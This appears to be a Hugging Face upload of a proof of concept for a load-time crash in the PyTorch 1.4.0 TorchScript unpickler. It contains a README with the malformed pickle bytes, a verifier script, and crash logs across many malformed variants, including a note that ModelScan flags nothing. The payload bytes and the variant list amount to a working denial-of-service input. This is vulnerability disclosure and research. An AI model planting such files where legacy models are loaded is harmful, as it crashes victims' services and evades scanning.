Upload folder using huggingface_hub

README.md

@@ -0,0 +1,65 @@
+---
+tags:
+- torchscript
+- pytorch
+- security
+- dos
+- poc
+license: bsd-3-clause
+---
+
+# TorchScript v1.4 JIT Unpickler Native DoS PoC
+
+This is a benign proof of concept for a TorchScript v1.4 load-time native denial of service.
+
+The artifact `artifacts/underflow_appends.pt` is a minimal TorchScript ZIP archive with a malformed `constants.pkl` payload:
+
+```text
+80 02 5d 65 2e
+PROTO 2, EMPTY_LIST, APPENDS, STOP
+```
+
+In PyTorch `1.4.0`, `torch.jit.load()` reaches the JIT unpickler and crashes natively on this malformed pickle opcode sequence. Current PyTorch versions tested locally return clean parser errors instead, so this report is specifically scoped to TorchScript v1.4.
+
+## Reproduction
+
+Use a Python environment with PyTorch `1.4.0` installed:
+
+```bash
+python verify_torchscript_v14_dos.py --python /path/to/python-with-torch-1.4.0
+```
+
+Expected output includes a native-crash return code:
+
+```json
+{
+  "returncode": -11,
+  "native_crash": true
+}
+```
+
+Depending on the shell/platform, SIGSEGV may also appear as exit code `139`; SIGABRT variants appear as `134`.
+
+## Impact
+
+An attacker-controlled TorchScript v1.4 model file can crash a process that calls `torch.jit.load()` on the artifact. This is a model-file-carried denial of service. It is not arbitrary code execution and no controlled memory-corruption primitive is claimed.
+
+Severity estimate: Medium, if TorchScript v1.4 is in scope. This is weaker if only current PyTorch versions are accepted.
+
+## Evidence
+
+Included evidence:
+
+- `evidence/torch_1_4_matrix.txt`: PyTorch `1.4.0` crash matrix for malformed `constants.pkl` variants.
+- `evidence/current_torch_2_8_matrix_nomemlimit.txt`: current-version comparison showing clean parser errors.
+- `evidence/modelscan_0_8_8_underflow_appends.json`: ModelScan 0.8.8 output, zero issues while scanning `ts/constants.pkl`.
+
+## Hashes
+
+```text
+bd34cabfd35feb96ced8a63489c5899aa9b17c000ce552406519998d5d3855f1  artifacts/underflow_appends.pt
+```
+
+## Limitation
+
+This is intentionally version-scoped. It should be submitted only to programs that accept TorchScript v1.4 or old-version model-format DoS findings.

artifacts/underflow_appends.pt

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:bd34cabfd35feb96ced8a63489c5899aa9b17c000ce552406519998d5d3855f1
+size 232

evidence/current_torch_2_8_matrix_nomemlimit.txt

@@ -0,0 +1,344 @@
+python=python3
+timeout=8.0
+mem_mib=0
+
+## appends_mark_no_container.pt
+rc=1 elapsed=1.870s
+[stdout]
+python=3.12.3
+torch=2.8.0+cu128
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/appends_mark_no_container.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
+    cpp_module = torch._C.import_ir_module(
+                 ^^^^^^^^^^^^^^^^^^^^^^^^^^
+RuntimeError: Parsing error: wrong start index 0 for stack_ of size 0
+
+## binget_oob.pt
+rc=1 elapsed=1.659s
+[stdout]
+python=3.12.3
+torch=2.8.0+cu128
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/binget_oob.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
+    cpp_module = torch._C.import_ir_module(
+                 ^^^^^^^^^^^^^^^^^^^^^^^^^^
+RuntimeError: Parsing error: out of bounds access at 255 to memo_table_ which is of size 0
+
+## compressed_constants_128m.pt
+rc=1 elapsed=7.782s
+[stdout]
+python=3.12.3
+torch=2.8.0+cu128
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/compressed_constants_128m.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
+    cpp_module = torch._C.import_ir_module(
+                 ^^^^^^^^^^^^^^^^^^^^^^^^^^
+RuntimeError: Unpickler expected 1 element on the stack, but found 134217729
+
+## dict_odd_item_count.pt
+rc=1 elapsed=1.766s
+[stdout]
+python=3.12.3
+torch=2.8.0+cu128
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/dict_odd_item_count.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
+    cpp_module = torch._C.import_ir_module(
+                 ^^^^^^^^^^^^^^^^^^^^^^^^^^
+RuntimeError: Parsing error: stack_ is of size 1 and start index is 0, but stack_ is iterated by two elements at a time
+
+## duplicate_constants_first_benign_second_crash.pt
+rc=1 elapsed=1.934s
+[stdout]
+python=3.12.3
+torch=2.8.0+cu128
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/duplicate_constants_first_benign_second_crash.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
+    cpp_module = torch._C.import_ir_module(
+                 ^^^^^^^^^^^^^^^^^^^^^^^^^^
+RuntimeError: Parsing error: marks_ is empty
+
+## huge_binunicode_256m.pt
+rc=1 elapsed=1.910s
+[stdout]
+python=3.12.3
+torch=2.8.0+cu128
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/huge_binunicode_256m.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
+    cpp_module = torch._C.import_ir_module(
+                 ^^^^^^^^^^^^^^^^^^^^^^^^^^
+RuntimeError: Unexpected end of pickler archive.
+
+## long_binget_oob.pt
+rc=1 elapsed=1.936s
+[stdout]
+python=3.12.3
+torch=2.8.0+cu128
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/long_binget_oob.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
+    cpp_module = torch._C.import_ir_module(
+                 ^^^^^^^^^^^^^^^^^^^^^^^^^^
+RuntimeError: Parsing error: out of bounds access at 4294967295 to memo_table_ which is of size 0
+
+## setitems_odd_item_count.pt
+rc=1 elapsed=2.161s
+[stdout]
+python=3.12.3
+torch=2.8.0+cu128
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/setitems_odd_item_count.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
+    cpp_module = torch._C.import_ir_module(
+                 ^^^^^^^^^^^^^^^^^^^^^^^^^^
+RuntimeError: Parsing error: stack_ is of size 2 and start index is 1, but stack_ is iterated by two elemenst at a time
+
+## underflow_appends.pt
+rc=1 elapsed=2.219s
+[stdout]
+python=3.12.3
+torch=2.8.0+cu128
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_appends.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
+    cpp_module = torch._C.import_ir_module(
+                 ^^^^^^^^^^^^^^^^^^^^^^^^^^
+RuntimeError: Parsing error: marks_ is empty
+
+## underflow_binpersid.pt
+rc=1 elapsed=1.816s
+[stdout]
+python=3.12.3
+torch=2.8.0+cu128
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_binpersid.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
+    cpp_module = torch._C.import_ir_module(
+                 ^^^^^^^^^^^^^^^^^^^^^^^^^^
+RuntimeError: Parsing error: stack_ is empty
+
+## underflow_build_empty.pt
+rc=1 elapsed=1.727s
+[stdout]
+python=3.12.3
+torch=2.8.0+cu128
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_build_empty.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
+    cpp_module = torch._C.import_ir_module(
+                 ^^^^^^^^^^^^^^^^^^^^^^^^^^
+RuntimeError: Parsing error: stack_ contains 0 elements, at least 2 expected
+
+## underflow_build_one.pt
+rc=1 elapsed=1.791s
+[stdout]
+python=3.12.3
+torch=2.8.0+cu128
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_build_one.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
+    cpp_module = torch._C.import_ir_module(
+                 ^^^^^^^^^^^^^^^^^^^^^^^^^^
+RuntimeError: Parsing error: stack_ contains 1 elements, at least 2 expected
+
+## underflow_newobj.pt
+rc=1 elapsed=1.978s
+[stdout]
+python=3.12.3
+torch=2.8.0+cu128
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_newobj.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
+    cpp_module = torch._C.import_ir_module(
+                 ^^^^^^^^^^^^^^^^^^^^^^^^^^
+RuntimeError: Parsing error: stack_ is empty
+
+## underflow_reduce_empty.pt
+rc=1 elapsed=1.788s
+[stdout]
+python=3.12.3
+torch=2.8.0+cu128
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_reduce_empty.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
+    cpp_module = torch._C.import_ir_module(
+                 ^^^^^^^^^^^^^^^^^^^^^^^^^^
+RuntimeError: Parsing error: stack_ contains 0 elements, at least 2 expected
+
+## underflow_reduce_one.pt
+rc=1 elapsed=2.574s
+[stdout]
+python=3.12.3
+torch=2.8.0+cu128
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_reduce_one.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
+    cpp_module = torch._C.import_ir_module(
+                 ^^^^^^^^^^^^^^^^^^^^^^^^^^
+RuntimeError: Parsing error: stack_ contains 1 elements, at least 2 expected
+
+## underflow_setitems.pt
+rc=1 elapsed=2.059s
+[stdout]
+python=3.12.3
+torch=2.8.0+cu128
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_setitems.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
+    cpp_module = torch._C.import_ir_module(
+                 ^^^^^^^^^^^^^^^^^^^^^^^^^^
+RuntimeError: Parsing error: marks_ is empty
+
+## underflow_tuple.pt
+rc=1 elapsed=1.929s
+[stdout]
+python=3.12.3
+torch=2.8.0+cu128
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
+    cpp_module = torch._C.import_ir_module(
+                 ^^^^^^^^^^^^^^^^^^^^^^^^^^
+RuntimeError: Parsing error: marks_ is empty
+
+## underflow_tuple1.pt
+rc=1 elapsed=2.115s
+[stdout]
+python=3.12.3
+torch=2.8.0+cu128
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple1.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
+    cpp_module = torch._C.import_ir_module(
+                 ^^^^^^^^^^^^^^^^^^^^^^^^^^
+RuntimeError: Parsing error: stack_ contains 0 elements, at least 1 expected
+
+## underflow_tuple2.pt
+rc=1 elapsed=1.922s
+[stdout]
+python=3.12.3
+torch=2.8.0+cu128
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple2.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
+    cpp_module = torch._C.import_ir_module(
+                 ^^^^^^^^^^^^^^^^^^^^^^^^^^
+RuntimeError: Parsing error: stack_ contains 0 elements, at least 2 expected
+
+## underflow_tuple3.pt
+rc=1 elapsed=1.852s
+[stdout]
+python=3.12.3
+torch=2.8.0+cu128
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple3.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
+    cpp_module = torch._C.import_ir_module(
+                 ^^^^^^^^^^^^^^^^^^^^^^^^^^
+RuntimeError: Parsing error: stack_ contains 0 elements, at least 3 expected
+

evidence/modelscan_0_8_8_underflow_appends.json

@@ -0,0 +1 @@
+{"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 0, "HIGH": 0, "CRITICAL": 0}, "total_issues": 0, "input_path": "/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_appends.pt", "absolute_path": "/workspace/torchscript_v1_4_agent_runtime/lab/artifacts", "modelscan_version": "0.8.8", "timestamp": "2026-05-12T12:21:25.902728", "scanned": {"total_scanned": 1, "scanned_files": ["underflow_appends.pt:ts/constants.pkl"]}}, "issues": [], "errors": []}

evidence/torch_1_4_matrix.txt

@@ -0,0 +1,229 @@
+python=/workspace/torchscript_v1_4_agent_runtime/.venv38/bin/python
+timeout=8.0
+mem_mib=0
+
+## appends_mark_no_container.pt
+rc=1 elapsed=1.749s
+[stdout]
+python=3.8.20
+torch=1.4.0
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/appends_mark_no_container.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/jit/__init__.py", line 235, in load
+    cpp_module = torch._C.import_ir_module(cu, f, map_location, _extra_files)
+IndexError: vector::_M_range_check: __n (which is 18446744073709551615) >= this->size() (which is 0)
+
+## binget_oob.pt
+rc=1 elapsed=1.781s
+[stdout]
+python=3.8.20
+torch=1.4.0
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/binget_oob.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/jit/__init__.py", line 235, in load
+    cpp_module = torch._C.import_ir_module(cu, f, map_location, _extra_files)
+IndexError: vector::_M_range_check: __n (which is 255) >= this->size() (which is 0)
+
+## compressed_constants_128m.pt
+timeout elapsed=8.428s
+[stdout]
+python=3.8.20
+torch=1.4.0
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/compressed_constants_128m.pt
+[stderr]
+
+## dict_odd_item_count.pt
+rc=1 elapsed=2.021s
+[stdout]
+python=3.8.20
+torch=1.4.0
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/dict_odd_item_count.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/jit/__init__.py", line 235, in load
+    cpp_module = torch._C.import_ir_module(cu, f, map_location, _extra_files)
+RuntimeError: Can't hash IValues with this tag
+
+## duplicate_constants_first_benign_second_crash.pt
+rc=-11 elapsed=2.020s
+[stdout]
+python=3.8.20
+torch=1.4.0
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/duplicate_constants_first_benign_second_crash.pt
+[stderr]
+
+## huge_binunicode_256m.pt
+rc=1 elapsed=2.243s
+[stdout]
+python=3.8.20
+torch=1.4.0
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/huge_binunicode_256m.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/jit/__init__.py", line 235, in load
+    cpp_module = torch._C.import_ir_module(cu, f, map_location, _extra_files)
+RuntimeError: Unexpected end of pickler archive. (readBytes at /pytorch/torch/csrc/jit/unpickler.cpp:649)
+frame #0: c10::Error::Error(c10::SourceLocation, std::string const&) + 0x33 (0x74f117e2f193 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libc10.so)
+frame #1: <unknown function> + 0x40662d4 (0x74f02dc662d4 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch.so)
+frame #2: <unknown function> + 0x406f4cc (0x74f02dc6f4cc in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch.so)
+frame #3: <unknown function> + 0x4072620 (0x74f02dc72620 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch.so)
+frame #4: <unknown function> + 0x4072a33 (0x74f02dc72a33 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch.so)
+frame #5: <unknown function> + 0x4093bd3 (0x74f02dc93bd3 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch.so)
+frame #6: <unknown function> + 0x40960b4 (0x74f02dc960b4 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch.so)
+frame #7: torch::jit::import_ir_module(std::shared_ptr<torch::jit::script::CompilationUnit>, std::string const&, c10::optional<c10::Device>, std::unordered_map<std::string, std::string, std::hash<std::string>, std::equal_to<std::string>, std::allocator<std::pair<std::string const, std::string> > >&) + 0xd7 (0x74f02dc968e7 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch.so)
+frame #8: <unknown function> + 0x769052 (0x74f074969052 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch_python.so)
+frame #9: <unknown function> + 0x295928 (0x74f074495928 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch_python.so)
+<omitting python frames>
+frame #25: <unknown function> + 0x2a1ca (0x74f11c4d21ca in /lib/x86_64-linux-gnu/libc.so.6)
+frame #26: __libc_start_main + 0x8b (0x74f11c4d228b in /lib/x86_64-linux-gnu/libc.so.6)
+frame #27: <unknown function> + 0x108e (0x578e527a308e in /workspace/torchscript_v1_4_agent_runtime/.venv38/bin/python)
+
+
+## long_binget_oob.pt
+rc=1 elapsed=1.893s
+[stdout]
+python=3.8.20
+torch=1.4.0
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/long_binget_oob.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/jit/__init__.py", line 235, in load
+    cpp_module = torch._C.import_ir_module(cu, f, map_location, _extra_files)
+IndexError: vector::_M_range_check: __n (which is 4294967295) >= this->size() (which is 0)
+
+## setitems_odd_item_count.pt
+rc=1 elapsed=1.911s
+[stdout]
+python=3.8.20
+torch=1.4.0
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/setitems_odd_item_count.pt
+[stderr]
+Traceback (most recent call last):
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
+    main()
+  File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
+    torch.jit.load(args.artifact, map_location="cpu")
+  File "/workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/jit/__init__.py", line 235, in load
+    cpp_module = torch._C.import_ir_module(cu, f, map_location, _extra_files)
+RuntimeError: Can't hash IValues with this tag
+
+## underflow_appends.pt
+rc=-11 elapsed=1.938s
+[stdout]
+python=3.8.20
+torch=1.4.0
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_appends.pt
+[stderr]
+
+## underflow_binpersid.pt
+rc=-11 elapsed=3.175s
+[stdout]
+python=3.8.20
+torch=1.4.0
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_binpersid.pt
+[stderr]
+
+## underflow_build_empty.pt
+rc=-11 elapsed=2.687s
+[stdout]
+python=3.8.20
+torch=1.4.0
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_build_empty.pt
+[stderr]
+
+## underflow_build_one.pt
+rc=-6 elapsed=6.526s
+[stdout]
+python=3.8.20
+torch=1.4.0
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_build_one.pt
+[stderr]
+free(): invalid pointer
+
+## underflow_newobj.pt
+rc=-11 elapsed=4.485s
+[stdout]
+python=3.8.20
+torch=1.4.0
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_newobj.pt
+[stderr]
+
+## underflow_reduce_empty.pt
+rc=-11 elapsed=3.671s
+[stdout]
+python=3.8.20
+torch=1.4.0
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_reduce_empty.pt
+[stderr]
+
+## underflow_reduce_one.pt
+rc=-6 elapsed=3.548s
+[stdout]
+python=3.8.20
+torch=1.4.0
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_reduce_one.pt
+[stderr]
+free(): invalid pointer
+
+## underflow_setitems.pt
+rc=-11 elapsed=3.405s
+[stdout]
+python=3.8.20
+torch=1.4.0
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_setitems.pt
+[stderr]
+
+## underflow_tuple.pt
+rc=-11 elapsed=3.736s
+[stdout]
+python=3.8.20
+torch=1.4.0
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple.pt
+[stderr]
+
+## underflow_tuple1.pt
+rc=-11 elapsed=3.667s
+[stdout]
+python=3.8.20
+torch=1.4.0
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple1.pt
+[stderr]
+
+## underflow_tuple2.pt
+rc=-11 elapsed=3.836s
+[stdout]
+python=3.8.20
+torch=1.4.0
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple2.pt
+[stderr]
+
+## underflow_tuple3.pt
+rc=-11 elapsed=3.588s
+[stdout]
+python=3.8.20
+torch=1.4.0
+artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple3.pt
+[stderr]
+

verify_torchscript_v14_dos.py

@@ -0,0 +1,75 @@
+from __future__ import annotations
+
+import argparse
+import hashlib
+import json
+import subprocess
+import sys
+from pathlib import Path
+
+
+ROOT = Path(__file__).resolve().parent
+ARTIFACT = ROOT / "artifacts" / "underflow_appends.pt"
+EXPECTED_SHA256 = "bd34cabfd35feb96ced8a63489c5899aa9b17c000ce552406519998d5d3855f1"
+
+
+LOAD_ONCE = r"""
+import os
+import sys
+import torch
+
+artifact = sys.argv[1]
+print(f"python={sys.version.split()[0]}", flush=True)
+print(f"torch={torch.__version__}", flush=True)
+print(f"artifact={os.path.abspath(artifact)}", flush=True)
+torch.jit.load(artifact, map_location="cpu")
+print("loaded", flush=True)
+"""
+
+
+def sha256(path: Path) -> str:
+    h = hashlib.sha256()
+    with path.open("rb") as handle:
+        for chunk in iter(lambda: handle.read(1024 * 1024), b""):
+            h.update(chunk)
+    return h.hexdigest()
+
+
+def main() -> int:
+    parser = argparse.ArgumentParser()
+    parser.add_argument(
+        "--python",
+        default=sys.executable,
+        help="Python executable with torch==1.4.0 installed.",
+    )
+    args = parser.parse_args()
+
+    digest = sha256(ARTIFACT)
+    if digest != EXPECTED_SHA256:
+        raise SystemExit(f"unexpected artifact sha256: {digest}")
+
+    proc = subprocess.run(
+        [args.python, "-c", LOAD_ONCE, str(ARTIFACT)],
+        cwd=ROOT,
+        text=True,
+        capture_output=True,
+        timeout=20,
+    )
+    result = {
+        "artifact": str(ARTIFACT),
+        "artifact_sha256": digest,
+        "python": args.python,
+        "returncode": proc.returncode,
+        "stdout": proc.stdout,
+        "stderr": proc.stderr,
+        "native_crash": proc.returncode < 0 or proc.returncode in {134, 139},
+    }
+    print(json.dumps(result, indent=2))
+
+    if not result["native_crash"]:
+        return 1
